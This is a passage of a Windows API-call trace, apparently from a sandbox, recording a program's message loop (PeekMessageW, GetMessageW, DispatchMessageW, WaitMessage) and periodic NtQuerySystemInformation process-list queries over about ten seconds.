[0183.692] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0183.692] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x84, wParam=0x0, lParam=0x24c032f) returned 0x1 [0183.692] IsWindowUnicode (hWnd=0x1015e) returned 1 [0183.692] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0183.692] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x84, wParam=0x0, lParam=0x24c032f) returned 0x1 [0183.692] SetCursor (hCursor=0x10003) returned 0x10003 [0183.692] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0183.693] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0183.693] _TrackMouseEvent (in: lpEventTrack=0x2b062f4 | out: lpEventTrack=0x2b062f4) returned 1 [0183.693] SendMessageW (hWnd=0x1015e, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0183.693] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0183.693] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x200, wParam=0x0, lParam=0x1750149) returned 0x0 [0183.693] GetKeyState (nVirtKey=1) returned 0 [0183.693] GetKeyState (nVirtKey=2) returned 0 [0183.693] GetKeyState (nVirtKey=4) returned 0 [0183.693] GetKeyState (nVirtKey=5) returned 0 [0183.693] GetKeyState (nVirtKey=6) returned 0 [0183.693] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0183.693] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0183.693] WaitMessage () returned 1 [0183.795] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0183.795] IsWindowUnicode (hWnd=0x1015e) returned 1 [0183.796] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0183.796] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0183.796] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0183.796] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0183.796] IsWindowUnicode (hWnd=0x1015e) returned 1 [0183.796] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0183.796] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0183.796] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0183.796] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x2a1, wParam=0x0, lParam=0x1750149) returned 0x0 [0183.796] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0183.796] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0183.796] WaitMessage () returned 1 [0183.936] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0183.937] IsWindowUnicode (hWnd=0x10166) returned 1 [0183.937] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0183.937] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0183.937] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0183.937] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0183.937] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0183.937] WaitMessage () returned 1 [0184.466] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0184.466] IsWindowUnicode (hWnd=0x10166) returned 1 [0184.466] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0184.466] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0184.466] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0184.467] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0184.467] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0184.467] WaitMessage () returned 1 [0184.703] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0184.703] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0184.703] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0184.704] IsWindowUnicode (hWnd=0x1015e) returned 1 [0184.704] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0184.704] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0184.704] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0184.704] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0184.704] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0184.704] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0184.704] WaitMessage () returned 1 [0184.996] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0184.996] IsWindowUnicode (hWnd=0x10166) returned 1 [0184.997] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0184.997] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0184.997] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0184.997] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0184.997] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0184.997] WaitMessage () returned 1 [0185.527] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0185.527] IsWindowUnicode (hWnd=0x10166) returned 1 [0185.527] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0185.527] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0185.527] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0185.527] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0185.527] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0185.527] WaitMessage () returned 1 [0185.652] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0185.652] IsWindowUnicode (hWnd=0x1015c) returned 1 [0185.652] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0185.652] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0185.652] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0185.652] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x6c88) returned 0x0 [0185.661] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0185.661] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0185.661] WaitMessage () returned 1 [0186.057] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0186.058] IsWindowUnicode (hWnd=0x10166) returned 1 [0186.058] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0186.058] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0186.058] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0186.058] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0186.058] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0186.058] WaitMessage () returned 1 [0186.588] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0186.588] IsWindowUnicode (hWnd=0x10166) returned 1 [0186.588] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0186.588] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0186.588] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0186.589] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0186.589] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0186.589] WaitMessage () returned 1 [0187.118] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0187.118] IsWindowUnicode (hWnd=0x10166) returned 1 [0187.118] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0187.119] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0187.119] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0187.119] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0187.119] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0187.119] WaitMessage () returned 1 [0187.649] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0187.649] IsWindowUnicode (hWnd=0x10166) returned 1 [0187.649] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0187.649] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0187.649] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0187.649] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0187.649] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0187.649] WaitMessage () returned 1 [0187.664] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0187.664] IsWindowUnicode (hWnd=0x1015c) returned 1 [0187.664] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0187.664] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0187.664] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0187.664] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x6970) returned 0x0 [0187.666] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0187.666] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0187.666] WaitMessage () returned 1 [0188.179] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0188.179] IsWindowUnicode (hWnd=0x10166) returned 1 [0188.179] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0188.179] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0188.179] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0188.180] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0188.180] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0188.180] WaitMessage () returned 1 [0188.710] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0188.710] IsWindowUnicode (hWnd=0x10166) returned 1 [0188.710] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0188.710] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0188.710] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0188.710] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0188.710] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0188.710] WaitMessage () returned 1 [0189.240] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0189.240] IsWindowUnicode (hWnd=0x10166) returned 1 [0189.240] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0189.240] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0189.240] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0189.240] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0189.240] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0189.240] WaitMessage () returned 1 [0189.678] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0189.678] IsWindowUnicode (hWnd=0x1015c) returned 1 [0189.678] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0189.678] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0189.678] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0189.678] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x67f0) returned 0x0 [0189.680] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0189.680] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0189.680] WaitMessage () returned 1 [0189.786] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0189.786] IsWindowUnicode (hWnd=0x10166) returned 1 [0189.786] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0189.786] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0189.786] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0189.786] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0189.786] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0189.786] WaitMessage () returned 1 [0190.316] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0190.316] IsWindowUnicode (hWnd=0x10166) returned 1 [0190.316] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0190.316] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0190.316] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0190.317] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0190.317] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0190.317] WaitMessage () returned 1 [0190.847] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0190.847] IsWindowUnicode (hWnd=0x10166) returned 1 [0190.847] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0190.847] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0190.847] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0190.847] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0190.847] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0190.847] WaitMessage () returned 1 [0191.378] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0191.378] IsWindowUnicode (hWnd=0x10166) returned 1 [0191.378] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0191.378] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0191.379] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0191.379] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0191.379] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0191.379] WaitMessage () returned 1 [0191.689] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0191.689] IsWindowUnicode (hWnd=0x1015c) returned 1 [0191.689] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0191.689] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0191.689] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0191.689] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x6730) returned 0x0 [0191.691] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0191.691] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0191.691] WaitMessage () returned 1 [0191.907] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0191.907] IsWindowUnicode (hWnd=0x10166) returned 1 [0191.908] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0191.908] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0191.908] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0191.908] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0191.908] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0191.908] WaitMessage () returned 1 [0192.438] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0192.438] IsWindowUnicode (hWnd=0x10166) returned 1 [0192.438] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0192.438] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0192.438] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0192.438] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0192.438] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0192.438] WaitMessage () returned 1 [0192.984] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0192.984] IsWindowUnicode (hWnd=0x10166) returned 1 [0192.984] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0192.984] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0192.984] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0192.984] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0192.984] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0192.984] WaitMessage () returned 1 [0193.514] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0193.515] IsWindowUnicode (hWnd=0x10166) returned 1 [0193.515] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: 